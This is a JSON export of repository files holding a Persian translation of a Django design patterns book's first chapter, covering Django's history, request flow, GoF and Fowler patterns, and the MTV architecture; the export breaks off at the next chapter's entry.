[
  {
    "path": ".nojekyll",
    "content": ""
  },
  {
    "path": "01-Django-and-Patterns/README.md",
    "content": "# جنگو الگوها\n\nدر این فصل در مورد موضوعات زیر صحبت خواهیم کرد:\n* [چرا جنگو؟](#چرا-جنگو)\n* [داستان جنگو](#داستان-جنگو)\n* [جنگو چگونه کار می کند؟](#جنگو-چگونه-کار-می-کند)\n* [الگو چیست؟](#الگو-چیست)\n* [مجموعه های الگوهای شناخته شده](#گروه-چهار-الگو-gang-of-four-patterns)\n* [الگوها در جنگو](#الگوها-در-این-کتاب)\n\nبر اساس گزارش جهانی استارتاپ بووی گای، در سال 2013 بیش از 136000 شرکت اینترنتی در سراسر جهان وجود داشت که بیش از 60000 شرکت فقط در آمریکا وجود داشت. از این تعداد، 87 شرکت آمریکایی بیش از یک میلیارد دلار ارزش دارند. مطالعه دیگری می گوید که از 12000 نفر بین 18 تا 30 سال در 27 کشور، بیش از دو سوم فرصت هایی را برای کارآفرین شدن می بینند.\n\nاین رونق کارآفرینی در استارت آپ های دیجیتال در درجه اول به دلیل ارزان شدن و فراگیر شدن ابزارها و فناوری های استارت آپ ها است. ایجاد یک برنامه وب کامل به لطف فریمورک های قدرتمند، زمان و مهارت بسیار کمتری نسبت به گذشته می طلبد.\n\nفیزیکدانان، مربیان، هنرمندان و بسیاری دیگر بدون پیشینه مهندسی نرم افزار در حال ایجاد برنامه های کاربردی مفیدی هستند که به طور قابل توجهی در حال پیشرفت حوزه خود هستند. با این حال، آنها ممکن است از اصول طراحی مهندسی نرم افزار مورد نیاز برای ساخت نرم افزار بزرگ و قابل نگهداری آگاه نباشند.\n\nمطالعه چهار پیاده‌سازی مختلف از یک برنامه کاربردی مبتنی بر وب در نروژ نشان داد که پیاده‌سازی‌هایی با بوهای کد شناخته شده و طرح‌های ضد الگو مستقیماً با مشکلات نگهداری مرتبط هستند. نرم افزاری که طراحی ضعیفی دارد ممکن است به همان اندازه کار کند، اما انطباق با الزامات در حال تحول در دنیایی که به سرعت در حال تغییر است، دشوار است.\n\nمبتدی ها اغلب مشکلات طراحی را در اواخر پروژه خود کشف می کنند. به زودی، آنها سعی می کنند همان مشکلاتی را که دیگران با آن مواجه شده اند، حل کنند. اینجاست که درک الگوها واقعاً می تواند به صرفه جویی در وقت آنها کمک کند.\n\n### چرا جنگو؟\n\nهر برنامه وب متفاوت است، مانند یک تکه مبلمان دست ساز. به ندرت یک مبل تولید انبوه پیدا می کنید که تمام نیازهای شما را به خوبی برآورده کند. حتی اگر با یک نیاز اساسی مانند وبلاگ یا شبکه اجتماعی شروع کنید، نیازهای شما به آرامی افزایش می‌یابد و به راحتی می‌توانید با بسیاری از محلول‌های نیمه‌پخت که با چسب نواری روی محلول‌های کاتر کوکی‌ها چسبانده شده‌اند، خاتمه دهید.\n\nبه همین دلیل است که FrameWork های وب مانند جنگو یا ریل بسیار محبوب شده اند. FrameWork‌ها توسعه را سرعت می‌بخشند و بهترین روش‌ها را در خود دارند. با این حال، آنها همچنین به اندازه کافی انعطاف‌پذیر هستند تا به شما امکان دسترسی به لوله‌کشی کافی برای کار را بدهند. امروزه فریم ورک های وب در همه جا وجود دارند و اکثر زبان های برنامه نویسی حداقل یک فریم ورک انتها به انتها مشابه جنگو دارند.\n\nاحتمالا پایتون نسبت به بسیاری از زبان های برنامه نویسی FrameWork های وب بیشتری دارد. نگاهی گذرا به فهرست بسته پایتون (PyPI) 13045 بسته شگفت‌انگیز مربوط به محیط‌های وب را نشان می‌دهد. برای جنگو، مجموع 9091 بسته است. ویکی پایتون بیش از 54 FrameWork وب فعال را فهرست می‌کند که محبوب‌ترین آنها جنگو، فلاسک، پیرامید و زوپ است. پایتون همچنین دارای تنوع گسترده ای در فریمورک ها است. فریم ورک میکرو وب بطری فشرده تنها یک فایل پایتون است که هیچ وابستگی ندارد و به طرز شگفت انگیزی قادر به ایجاد یک برنامه وب ساده است.\n\nعلی‌رغم این گزینه‌های فراوان، جنگو با اختلاف زیادی به عنوان یک مورد علاقه بزرگ ظاهر شده است. Djangosites.org بیش از 5263 سایت نوشته شده در جنگو را فهرست می کند، از جمله داستان های موفقیت معروفی مانند اینستاگرام، پینترست، و Disqus. همانطور که توضیحات رسمی می گوید، جنگو (https://djangoproject.com) یک FrameWork وب سطح بالا پایتون است که توسعه سریع و طراحی تمیز و عملی را تشویق می کند. به عبارت دیگر، این یک FrameWork وب کامل با باتری هایی است که دقیقاً مانند پایتون در آن گنجانده شده است. رابط مدیریت خارج از جعبه، یکی از ویژگی های منحصر به فرد جنگو، برای ورود و مدیریت اولیه داده ها بسیار مفید است. مستندات جنگو به دلیل اینکه برای یک پروژه منبع باز بسیار خوب نوشته شده است مورد تحسین قرار گرفته است. در نهایت، جنگو در چندین وب سایت پر ترافیک آزمایش شده است. تمرکز فوق‌العاده دقیقی بر امنیت با محافظت در برابر حملات رایج مانند اسکریپت‌های متقاطع (XSS)، جعل درخواست‌های متقابل سایت (CSRF) تا تهدیدات امنیتی در حال تکامل مانند الگوریتم‌های هش رمز عبور ضعیف است\n\nاگرچه می‌توانید از جنگو برای ساخت هر نوع برنامه وب در تئوری استفاده کنید، اما ممکن است برای هر موردی بهترین نباشد. به عنوان مثال، برای نمونه سازی اولیه یک وب سرویس ساده در یک سیستم تعبیه شده با محدودیت های حافظه فشرده، ممکن است بخواهید از Flask استفاده کنید، در حالی که ممکن است در نهایت به دلیل استحکام و ویژگی های آن به جنگو بروید. ابزار مناسب برای کار را انتخاب کنید.\n\nاگر به سایر FrameWork های وب عادت داشته باشید، برخی از ویژگی های داخلی، مانند رابط مدیر، ممکن است عجیب به نظر برسد. برای درک طراحی جنگو، بیایید دریابیم که چگونه به وجود آمد.\n\n\n## داستان جنگو\n\nوقتی به اهرام مصر نگاه می کنید، فکر می کنید که چنین طراحی ساده و مینیمال باید کاملاً آشکار باشد. در حقیقت، آنها محصول 4000 سال تکامل معماری هستند. اهرام پله ای، طرح اولیه (و درهم و برهم)، دارای شش بلوک مستطیل شکل در حال کاهش بود.\nچندین بار اصلاحات معماری و مهندسی طول کشید تا اینکه سازه‌های آهکی مدرن، لعاب‌دار و بادوام اختراع شدند.\n\nبا نگاه کردن به جنگو، ممکن است احساس مشابهی داشته باشید - آنقدر زیبا ساخته شده است که باید بی عیب و نقص تصور شده باشد. برعکس، نتیجه بازنویسی‌ها و تکرارهای سریع در یکی از پرفشارترین محیط‌های قابل تصور بود - اتاق خبر!\n\nدر پاییز 2003، دو برنامه نویس، *آدریان هولواتی* و *سایمون ویلیسون* که در روزنامه *لارنس ژورنال-ورلد* کار می کردند، مشغول ایجاد چندین وب سایت خبری محلی در کانزاس بودند. این سایت‌ها، از جمله *LJWorld.com*، *Lawrence.com*، و *KUsports.com*، مانند بسیاری از سایت‌های خبری، نه تنها درگاه‌های محتوا محور مملو از متن، عکس و ویدئو بودند، بلکه دائماً سعی می‌کردند نیازهای مردم را برآورده کنند. جامعه محلی لارنس با برنامه‌هایی مانند فهرست راهنمای کسب‌وکار محلی، تقویم رویدادها و آگهی‌ها.\n\n\n### یک FrameWork متولد می شود\n\nالبته این به معنای کار زیاد برای سایمون، آدریان و بعدها جاکوب کاپلان ماس بود که به تیم آنها پیوسته بودند. با مهلت های بسیار کوتاه، گاهی اوقات تنها با چند ساعت اطلاع رسانی. از آنجایی که اولین روزهای توسعه وب در پایتون بود، آنها مجبور بودند برنامه های وب را عمدتاً از ابتدا بنویسند. بنابراین، برای صرفه جویی در زمان گرانبها، آنها به تدریج ماژول ها و ابزارهای رایج را به چیزی به نام *CMS* تغییر دادند.\n\nدر نهایت، بخش‌های مدیریت محتوا به پروژه‌ای جداگانه به نام Ellington CMS تبدیل شد که به یک محصول تجاری موفق CMS تبدیل شد. بقیه CMS یک FrameWork زیربنایی منظم بود که به اندازه کافی عمومی بود که برای ساخت برنامه های کاربردی وب از هر نوع استفاده شود.\n\nتا جولای 2005، این FrameWork توسعه وب به عنوان جنگو (تلفظ Jang-Oh) تحت مجوز منبع باز توزیع نرم افزار برکلی (BSD) منتشر شد. این نام از گیتاریست افسانه ای جاز جنگو راینهارت گرفته شد. و بقیه، همانطور که می گویند، تاریخ است.\n\n### حذف جادو\n\nجنگو به دلیل خاستگاه فروتنانه‌اش به عنوان یک ابزار داخلی، دارای موارد عجیب و غریب مخصوص لارنس ژورنال جهان بود. برای اینکه جنگو واقعاً هدف کلی باشد، تلاشی با عنوان حذف لارنس قبلاً در حال انجام بود.\n\nبا این حال، مهم ترین تلاش برای بازسازی که توسعه دهندگان جنگو باید انجام می دادند Removing the Magic نام داشت. این پروژه بلندپروازانه شامل پاکسازی تمام زگیل‌هایی بود که جنگو در طول سال‌ها جمع‌آوری کرده بود، از جمله جادوی زیادی (یک اصطلاح غیررسمی برای ویژگی‌های ضمنی) و جایگزینی آنها با کد پایتونیک طبیعی‌تر و صریح‌تر. برای مثال، کلاس‌های مدل به جای اینکه مستقیماً از ماژول `models.py` که در آن تعریف شده بودند وارد شوند، از یک ماژول جادویی به نام `django.models.*` وارد می‌شدند.\n\nدر آن زمان، جنگو حدود صد هزار خط کد داشت و بازنویسی قابل توجهی از API بود. در 1 می 2006، این تغییرات، تقریباً به اندازه یک کتاب کوچک، در تنه نسخه توسعه‌دهنده جنگو ادغام شدند و با نسخه 0.95 جنگو منتشر شدند. این یک گام مهم به سوی نقطه عطف جنگو 1.0 بود.\n\n### جنگو مدام بهتر می شود\nهر ساله کنفرانس هایی به نام DjangoCons در سرتاسر جهان برای توسعه دهندگان جنگو برگزار می شود تا بتوانند با یکدیگر ملاقات کنند و با یکدیگر تعامل داشته باشند. آنها یک سنت شایان ستایش در ارائه یک سخنرانی نیمه طنز در مورد اینکه چرا جنگو بد است، دارند. این می تواند عضوی از جامعه جنگو یا شخصی باشد که روی FrameWork های وب رقیب کار می کند یا هر شخصیت برجسته ای باشد. در طول سال‌ها، شگفت‌انگیز است که چگونه توسعه‌دهندگان جنگو این انتقادات را مثبت می‌گرفتند و در نسخه‌های بعدی آن را کاهش می‌دادند.\n\nدر اینجا خلاصه‌ای از پیشرفت‌های مربوط به چیزی است که زمانی در جنگو یک کاستی بود و نسخه‌ای که در آن برطرف شد:\n* کتابخانه جدید مدیریت فرم (Django 0.96)\n* جداسازی ادمین از مدل ها (Django 1.0)\n* پشتیبانی از چندین پایگاه داده (Django 1.2)\n* مدیریت بهتر فایل های استاتیک (Django 1.3)\n* پشتیبانی بهتر از منطقه زمانی (Django 1.4)\n* مدل کاربر قابل تنظیم (Django 1.5)\n* مدیریت بهتر تراکنش (جنگو 1.6)\n* انتقال پایگاه داده داخلی (جنگو 1.7)\n* موتورهای قالب چندگانه (جنگو 1.8)\n* نحو ساده شده مسیریابی URL (Django 2.0)\n\nبا گذشت زمان، جنگو به یکی از اصطلاحی ترین پایگاه های کد پایتون در حوزه عمومی تبدیل شده است. کد منبع جنگو همچنین مکانی عالی برای یادگیری معماری یک FrameWork وب بزرگ پایتون است.\n\n### جنگو چگونه کار می کند؟\nبرای درک واقعی جنگو، باید زیر کاپوت را نگاه کنید و قسمت های متحرک مختلف داخل آن را ببینید. این می تواند هم روشنگر و هم طاقت فرسا باشد. اگر قبلاً با اطلاعات زیر آشنا هستید، ممکن است بخواهید از این بخش صرفنظر کنید:\n\n\n\n![How web requests are processed in a typical Django application](./images/image.MSTBH1.png)\n*نحوه پردازش درخواست های وب در یک برنامه معمولی جنگو* \n\nنمودار قبلی سفر ساده درخواست وب از مرورگر بازدیدکننده به برنامه جنگو و بازگشت را نشان می دهد. مسیرهای شماره گذاری شده به شرح زیر است:\n\n1. مرورگر درخواست را (در اصل یک رشته بایت) به وب سرور شما ارسال می کند.\n2. وب سرور شما (مثلاً Nginx) درخواست را به یک سرور رابط دروازه وب سرور (WSGI) (مثلا uWSGI) تحویل می دهد یا مستقیماً یک فایل (مثلاً یک فایل CSS) را از سیستم فایل ارائه می دهد.\n3. برخلاف وب سرور، سرورهای WSGI می توانند برنامه های پایتون را اجرا کنند. این درخواست یک فرهنگ لغت پایتون به نام `environ` را پر می کند و به صورت اختیاری، از چندین لایه میان افزار عبور می کند و در نهایت به برنامه جنگو شما می رسد.\n4. URLconf (پیکربندی URL) ماژول موجود در `urls.py` پروژه شما، یک نمای را برای رسیدگی به درخواست بر اساس URL درخواستی انتخاب می کند. درخواست به HttpRequest، یک شی پایتون تبدیل شده است.\n5. نمای انتخاب شده معمولاً یک یا چند مورد از کارهای زیر را انجام می دهد: \na. از طریق مدل ها با پایگاه داده صحبت می کند.\nb. HTML یا هر پاسخ فرمت شده دیگری را با استفاده از Template ارائه می دهد\nc. یک متن ساده را بر میگرداند ( نشان داده نمیشود)\nd. در صورت وجود، یک exception بر میگرداند\n6. شیع `HttpResponse` به متن تبدیل (Render) میشود.\n7. یک صفحه وب با رندر زیبا در مرورگر شما دیده می شود.\n\nاگرچه جزئیات خاصی حذف شده است، این نمایش باید به شما در درک معماری سطح بالای جنگو کمک کند. همچنین نقش‌هایی را که اجزای کلیدی بازی می‌کنند، مانند مدل‌ها، نماها و قالب‌ها نشان می‌دهد. بسیاری از اجزای جنگو بر اساس چندین الگوی طراحی شناخته شده هستند.\n\n### الگو چیست؟\nچه چیزی بین کلمات **نقشه** ، **داربست** و **نگهداری** مشترک است؟ این اصطلاحات توسعه نرم افزار از دنیای ساخت و ساز ساختمان و معماری به عاریت گرفته شده است. با این حال، یکی از تأثیرگذارترین اصطلاحات از رساله ای در معماری و شهرسازی می آید که در سال 1977 توسط معمار برجسته اتریشی کریستوفر الکساندر و تیمش متشکل از موری سیلورستاین، سارا ایشیکاوا و چندین نفر دیگر نوشته شده است.\n\nاصطلاح الگو پس از کار اصلی آنها، *A Pattern Language: Towns, Buildings, Construction* (جلد 2 در یک مجموعه پنج کتابی)، بر اساس بینش شگفت انگیزی که کاربران در مورد ساختمان های خود بیش از هر معمار دیگری می دانند، رایج شد. یک الگو به یک مشکل روزمره و راه حل پیشنهادی اما آزمایش شده آن اشاره دارد. کریستوفر الکساندر در این کتاب چنین می گوید:\n\n<p align=\"center\">\n    <i>\"هر الگو یک مشکل را توصیف می کند که بارها و بارها در محیط ما رخ می دهد و سپس هسته راه حل آن مشکل را به گونه ای توصیف می کند که می توانید از این راه حل میلیون ها بار استفاده کنید، بدون اینکه هرگز آن را به همان روش انجام دهید. دو برابر.\"</i>\n</p> \n\nبرای مثال، الگوی *بال‌های نوری* او توضیح می‌دهد که چگونه مردم ساختمان‌هایی با نور طبیعی‌تر را ترجیح می‌دهند و پیشنهاد می‌کند که ساختمان را به گونه‌ای تنظیم کنید که از بال تشکیل شده باشد. این بال ها باید بلند و باریک باشند و هرگز بیش از 25 فوت عرض نداشته باشند. دفعه بعد که از قدم زدن در راهروهای طولانی یک دانشگاه قدیمی لذت بردید، از این الگو سپاسگزار باشید.\n\nکتاب آنها شامل 253 الگوی عملی از این قبیل بود، از طراحی یک اتاق گرفته تا طراحی کل شهر. مهمتر از همه، هر یک از این الگوها نامی برای یک مسئله انتزاعی گذاشتند و با هم یک *زبان الگو* را تشکیل دادند.\n\nبه یاد دارید که اولین بار با کلمه déjà vu برخورد کردید؟ احتمالاً فکر کرده اید: \"وای، من هرگز نمی دانستم که کلمه ای برای آن تجربه وجود دارد.\" به طور مشابه، معماران نه تنها قادر به شناسایی الگوها در محیط خود بودند، بلکه می‌توانستند در نهایت آنها را به گونه‌ای نام‌گذاری کنند که همتایان خود بتوانند آن را درک کنند.\n\nدر دنیای نرم افزار، اصطلاح الگوی طراحی به یک راه حل کلی قابل تکرار برای یک مشکل رایج در طراحی نرم افزار اشاره دارد. این رسمی سازی بهترین شیوه هایی است که یک توسعه دهنده می تواند از آن استفاده کند. مانند دنیای معماری، زبان الگو ثابت کرده است که برای برقراری ارتباط روش خاصی برای حل یک مشکل طراحی با برنامه نویسان دیگر بسیار مفید است.\n\nمجموعه های مختلفی از الگوهای طراحی وجود دارد، اما برخی از آنها به طور قابل توجهی تاثیرگذارتر از بقیه بوده اند.\n\n#### گروه چهار الگو (Gang of four patterns)\nیکی از اولین تلاش‌ها برای مطالعه و مستندسازی الگوهای طراحی، کتابی با عنوان *الگوهای طراحی: عناصر نرم‌افزار شی گرا قابل استفاده مجدد (Design\nPatterns: Elements of Reusable Object-Oriented Software) * توسط *اریش گاما*، *ریچارد هلم*، *رالف جانسون* و *جان ولیسیدز* بود که بعدها به گروه چهار نفر ( **Gang of Four «GoF»** ) معروف شد. ). این کتاب به قدری تأثیرگذار است که بسیاری 23 الگوی طراحی موجود در کتاب را برای خود مهندسی نرم افزار اساسی می دانند.\n\nدر واقع، الگوها عمدتاً برای زبان‌های برنامه‌نویسی شی گرا ثابت نوشته شده‌اند و نمونه‌هایی از کد در C++ و Smalltalk داشتند. همانطور که به زودی خواهیم دید، برخی از این الگوها ممکن است حتی در سایر زبان های برنامه نویسی با انتزاعات بالاتر مانند پایتون مورد نیاز نباشند.\n\n23 الگو به طور کلی بر اساس نوع خود به شرح زیر طبقه بندی شده اند:\n\n* **الگوهای خلاقانه**: این الگوها شامل کارخانه انتزاعی، الگوی سازنده، روش کارخانه، الگوی نمونه اولیه و الگوی تک‌تنه است.\n\n* **الگوهای ساختاری**: اینها شامل الگوی آداپتور، الگوی پل، الگوی ترکیبی، الگوی تزئینی، الگوی نما، الگوی وزن پرواز و الگوی پروکسی است.\n\n* **الگوهای رفتاری**: این الگوها شامل زنجیره مسئولیت، الگوی فرمان، الگوی مفسر، الگوی تکرارکننده، الگوی میانجی، الگوی یادگاری، الگوی مشاهده گر، الگوی حالت، الگوی استراتژی، الگوی الگو، و الگوی بازدیدکننده است.\n\nدر حالی که توضیح دقیق هر الگو خارج از محدوده این کتاب است، شناسایی برخی از این الگوهای موجود در خود پیاده‌سازی جنگو جالب خواهد بود:\n\n| **الگوی GoF** | **کامپوننت جنگو** | **توضیح**\n| الگوی فرمان | HttpRequest | این یک درخواست در یک شی | | الگوی مشاهده گر | سیگنال ها | هنگامی که یک شی تغییر حالت می دهد، همه شنوندگان آن به طور خودکار مطلع و به روز می شوند | | روش قالب | نماهای عمومی مبتنی بر کلاس | مراحل یک الگوریتم را می توان با زیر طبقه بندی بدون تغییر ساختار الگوریتم دوباره تعریف کرد |\n\nدر حالی که این الگوها بیشتر مورد توجه کسانی است که درونیات جنگو را مطالعه می کنند، رایج ترین سؤالی که پرسیده می شود این است که خود جنگو تحت کدام الگو طبقه بندی می شود؟\n\n#### آیا جنگو MVC است؟\n**مدل-ویو-کنترلر (MVC)** یک الگوی معماری است که توسط Xerox PARC در دهه 70 اختراع شد. به عنوان چارچوبی که برای ساخت رابط های کاربری در Smalltalk استفاده می شود، در کتاب GoF در ابتدا به آن اشاره شد.\n\nامروزه MVC یک الگوی بسیار محبوب در فریمورک های برنامه های وب است. یک نوع سوال رایج این است که آیا جنگو یک چارچوب MVC است یا خیر\n\nپاسخ هم بله و نه است. الگوی MVC از جداسازی لایه ارائه از منطق برنامه حمایت می کند. به عنوان مثال، هنگام طراحی یک API وب سایت بازی آنلاین، ممکن است جدول امتیازات بالای یک بازی را به عنوان یک فایل HTML، XML یا **مقادیر جدا شده با کاما (CSV)** ارائه دهید. با این حال، کلاس مدل زیربنایی آن مستقل از نحوه ارائه نهایی داده ها طراحی می شود.\n\nMVC در مورد کاری که مدل ها، نماها و کنترلرها انجام می دهند بسیار سخت است. با این حال، جنگو نگاه بسیار کاربردی تری به برنامه های کاربردی وب دارد. با توجه به ماهیت پروتکل HTTP، هر درخواست برای یک صفحه وب مستقل از هر درخواست دیگری است. چارچوب جنگو مانند یک خط لوله برای پردازش هر درخواست و آماده سازی پاسخ طراحی شده است.\n\nجنگو این را معماری **مدل-تمپلیت-ویو (MTV)** می نامد. نگرانی‌ها بین کلاس‌های واسط پایگاه داده (مدل)، کلاس‌های پردازش درخواست (نما) و زبان قالب برای ارائه نهایی (الگو) جدایی وجود دارد.\n\nاگر این را با MVC کلاسیک مقایسه کنید، یک مدل با مدل های جنگو قابل مقایسه است. یک view معمولاً Templates جنگو است و کنترلر خود چارچوبی است که یک درخواست HTTP ورودی را پردازش می کند و آن را به تابع view صحیح هدایت می کند.\n\nاگر این به اندازه کافی شما را گیج نکرده است، جنگو ترجیح می‌دهد که تابع callback را برای مدیریت هر URL یک تابع view نامگذاری کند. این، متأسفانه، به ایده الگوی MVC از دیدگاه مربوط نمی شود.\n\n#### الگوهای فاولر (Fowler's)\nدر سال 2002، مارتین فاولر **الگوهای معماری برنامه های سازمانی** را نوشت که حدود 40 الگوی را توصیف کرد که او اغلب در هنگام ساخت برنامه های سازمانی با آنها مواجه می شد.\n\nبرخلاف کتاب GoF که الگوهای طراحی را توصیف می کرد، کتاب فاولر در مورد الگوهای معماری بود. از این رو، آنها الگوها را در سطح بسیار بالاتری از انتزاع توصیف می کنند و تا حد زیادی زبان برنامه نویسی آگنوستیک هستند.\n\nالگوهای فاولر به صورت زیر سازماندهی می شوند:\n* **الگوهای منطقی دامنه:**  این الگوها شامل مدل دامنه، اسکریپت تراکنش، لایه سرویس و ماژول جدول است\n* **الگوهای معماری منبع داده:** اینها شامل دروازه داده ردیف، دروازه داده جدول، نگاشت داده و رکورد فعال است.\n* **الگوهای رفتاری شی-رابطه ای:** این الگوها شامل نقشه هویت، واحد کار و بار تنبل است.\n* **الگوهای ساختاری شی-رابطه ای:** این الگوها عبارتند از نگاشت کلید خارجی، نگاشت، نگاشت وابسته، نگاشت جدول انجمن، فیلد هویت، LOB سریال، ارزش جاسازی شده، نگاشتهای ارثی، ارث بری جدول تک، ارث بری جدول بتن، و ارث بری جدول کلاس.\n* **الگوهای نگاشت ابرداده شی رابطه ای:** این الگوها عبارتند از Query Object، Metadata Mapping و Repository.\n* **الگوهای ارائه وب:** اینها عبارتند از کنترل کننده صفحه، کنترلر جلو، کنترلر نمای مدل، نمای تبدیل، نمای الگو، کنترل کننده برنامه، و نمای دو مرحله ای\n* **الگوهای توزیع:** اینها شامل شی انتقال داده و نما از راه دور است\n* **الگوهای همزمانی آفلاین:** این الگوهای شامل قفل درشت دانه، قفل ضمنی، قفل آفلاین خوش بینانه و قفل آفلاین بدبینانه است.\n* **الگوهای وضعیت جلسه:** اینها شامل وضعیت جلسه پایگاه داده، وضعیت جلسه مشتری و وضعیت جلسه سرور است.\n* **الگوهای پایه:** این الگوها عبارتند از Mapper، Gateway، Layer Supertype، Registry، Value Object، Separated Interface، Money، Plugin، Case Special، Service Stub و Record Set.\n\nدانستن تقریباً همه این الگوها هنگام طراحی یک برنامه جنگو مفید است. در واقع، وب‌سایت فاولر به آدرس `http://martinfowler.com/eaaCatalog`  یک کاتالوگ عالی از این الگوها به صورت آنلاین دارد. من به شدت توصیه می کنم آنها را بررسی کنید.\n\nجنگو تعدادی از این الگوها را نیز پیاده سازی می کند. جدول زیر تعدادی از آنها را فهرست می کنددانستن تقریباً همه این الگوها هنگام طراحی یک برنامه جنگو مفید است. در واقع، وب‌سایت فاولر به آدرس `http://martinfowler.com/eaaCatalog`  یک کاتالوگ عالی از این الگوها به صورت آنلاین دارد. من به شدت توصیه می کنم آنها را بررسی کنید.\nجنگو تعدادی از این الگوها را نیز پیاده سازی می کند. جدول زیر تعدادی از آنها را فهرست می کند:\n\n|            **الگوهای فاولر**          |    **کامپوننت های جنگو**      |         **توضیح**    \n|:---------------------------:|:-------------------------:|:-----------------------------------------------------------------:|\n| رکورد فعال                     | مدل های جنگو             | دسترسی به پایگاه داده را کپسوله کنید و منطق دامنه را روی آن داده ها اضافه کنید |\n| وراثت جدول کلاس     | وراثت مدل ها         | هر موجودیت در سلسله مراتب به یک جدول جداگانه نگاشت می شود        |\n| فیلد هویت              | ID فیلد                  | برای حفظ هویت، یک فیلد ID پایگاه داده را در یک شی ذخیره می کند       |\n|Template view                | قالب های جنگو          |‌ رندر خروجی HTML بوسلیه تبدیل علامت ها و حروف                     |\n\n\n#### آیا الگوهای بیشتری وجود دارد؟\nبله حتما. الگوها همیشه کشف می شوند. مانند موجودات زنده، برخی جهش می یابند و الگوهای جدیدی را تشکیل می دهند، به عنوان مثال، انواع MVC مانند Model-view-presenter (MVP)، **Hierarchical model-view-controller (HMVC)** ، یا **Model View ViewModel (MVVM)**.\n\nالگوها نیز با گذشت زمان تکامل می یابند، زیرا راه حل های بهتری برای مشکلات شناخته شده شناسایی می شود. به عنوان مثال، الگوی Singleton زمانی به عنوان یک الگوی طراحی در نظر گرفته می شد، اما اکنون به دلیل حالت مشترکی که معرفی می کند، مشابه با استفاده از متغیرهای سراسری، به عنوان یک ضد الگو در نظر گرفته می شود. یک ضد الگو را می توان به عنوان راه حلی که معمولاً دوباره اختراع می شود، اما راه حلی بد برای یک مشکل تعریف کرد. برخی از کتاب‌های معروف دیگر که الگوهای فهرست‌نویسی دارند، معماری نرم‌افزار الگو محور (POSA) توسط Buschmann، Meunier، Rohnert، Sommerlad و Sta هستند. الگوهای ادغام سازمانی توسط هوپ و وولف. و طراحی سایت ها: الگوها، اصول و فرآیندها برای ایجاد یک تجربه وب مشتری محور توسط Duyne، Landay و Hong.\n\n### الگوها در این کتاب\nاین کتاب الگوهای طراحی و معماری خاص جنگو را پوشش می‌دهد که برای توسعه‌دهنده جنگو مفید است. هر الگو به این صورت ارائه خواهد شد:\n\n**نام الگو\n\nعنوان نام الگو است. اگر یک الگوی شناخته شده باشد، از نام رایج استفاده می شود. در غیر این صورت، نام مختصر و خود توصیفی انتخاب شده است. نام ها مهم هستند، زیرا به ساخت واژگان الگو کمک می کنند. تمام الگوها دارای قسمت های زیر خواهند بود:\n\n* مشکل: در اینجا به طور خلاصه به مشکل اشاره می شود\n* راه حل: این راه حل(های) پیشنهادی را خلاصه می کند\n* جزئیات مشکل: این موضوع زمینه مشکل را توضیح می دهد و احتمالاً مثالی را ارائه می دهد\n* جزئیات راه حل: این راه حل (ها) را به طور کلی توضیح می دهد و نمونه ای از اجرای جنگو را ارائه می دهد\n\n#### نقد الگوها\nعلیرغم کاربرد تقریباً جهانی آنها، الگوها نیز سهم خود را از انتقاد دارند. رایج ترین استدلال ها علیه آنها به شرح زیر است:\n\n* **الگوها ویژگی‌های زبان از دست رفته را جبران می‌کنند:** پیتر نورویگ دریافت که 16 الگو از 23 الگو در الگوهای طراحی در زبان‌های پویا مانند Lisp یا Python نامرئی یا ساده‌تر هستند. برای مثال، از آنجایی که توابع قبلاً در پایتون اشیاء هستند، ایجاد کلاس‌های جداگانه برای پیاده‌سازی الگوهای استراتژی غیرضروری است.\n\n* **الگوها بهترین شیوه‌ها را تکرار می‌کنند:** بسیاری از الگوها اساساً رسمی‌سازی بهترین شیوه‌ها، مانند تفکیک نگرانی‌ها هستند، و ممکن است زائد به نظر برسند.\nالگوها می توانند منجر به مهندسی بیش از حد شوند: پیاده سازی الگو ممکن است در مقایسه با راه حل ساده تر کارآمدتر و بیش از حد باشد.\n\n* **الگوها می توانند منجر به مهندسی بیش از حد شوند:** پیاده سازی الگو ممکن است در مقایسه با راه حل ساده تر کارآمدتر و بیش از حد باشد.\n\n#### نحوه استفاده از الگوها\nاگرچه برخی از انتقادات قبلی کاملاً معتبر است، اما بر اساس نحوه استفاده نادرست از الگوها است. در اینجا چند توصیه وجود دارد که می تواند به شما در درک بهترین روش استفاده از الگوهای طراحی کمک کند:\n* بهتر است از الگوها برای بیان اینکه شما از یک رویکرد طراحی کاملاً درک شده پیروی می کنید استفاده می شود\n* اگر زبان شما از راه حل مستقیم پشتیبانی می کند، الگو را پیاده سازی نکنید\n* سعی نکنید همه چیز را از نظر الگوها بازسازی کنید\n* از یک الگو فقط در صورتی استفاده کنید که ظریف ترین راه حل در زمینه شما باشد\n* از ایجاد الگوهای جدید نترسید\n\n#### فلسفه طراحی پایتون ذن و جنگو\nبه طور کلی، جامعه پایتون از اصطلاح *پایتونیک* برای توصیف یک کد اصطلاحی استفاده می کند. معمولاً به اصولی اشاره دارد که در *The Zen of Python* بیان شده است. که مانند یک شعر نوشته شده است، توصیف چنین مفهوم مبهمی بسیار مفید است.\n\n** نکته:   برای مشاهده *Zen of Python* سعی کنید این را در یک اعلان پایتون `وارد کنید`.\n\nعلاوه بر این، توسعه‌دهندگان جنگو فلسفه‌های طراحی خود را در حین طراحی چارچوب در `https:/​/docs.​djangoproject.​com/en/​dev/​misc/​design-philosophies/​` به طور واضح مستند کرده‌اند.\n\nدر حالی که این سند فرآیند فکری پشت چگونگی طراحی جنگو را توضیح می‌دهد، اما برای توسعه‌دهندگانی که از جنگو برای ساخت برنامه‌ها استفاده می‌کنند نیز مفید است.\n برخی از اصول مانند:\n**Don't Repeat Yourself (DRY)**, **loose coupling**, and **tight cohesion** می توانند به شما کمک کنند تا برنامه های جنگو قابل نگهداری و اصطلاحی بیشتری بنویسید.\n\n\nبهترین شیوه های جنگو یا پایتون پیشنهاد شده توسط این کتاب به روش زیر قالب بندی می شوند:\n\n** نکته: از `BASE_DIR` در `settings.py` استفاده کنید و از کدگذاری نام دایرکتوری ها خودداری کنید.\n\n### خلاصه\nدر این فصل، ما به این موضوع پرداختیم که چرا مردم جنگو را نسبت به سایر چارچوب های وب، تاریخچه جالب آن و نحوه کارکرد آن انتخاب می کنند. ما همچنین الگوهای طراحی، مجموعه های الگوهای محبوب و بهترین شیوه ها را بررسی کردیم.\n\nدر فصل بعد، نگاهی به چند مرحله اولیه در آغاز پروژه جنگو خواهیم داشت، مانند جمع آوری نیازمندی ها، ساخت ماکت ها و راه اندازی پروژه.\n\n\n\n\n"
  },
  {
    "path": "02-ApplicationDesign/README.md",
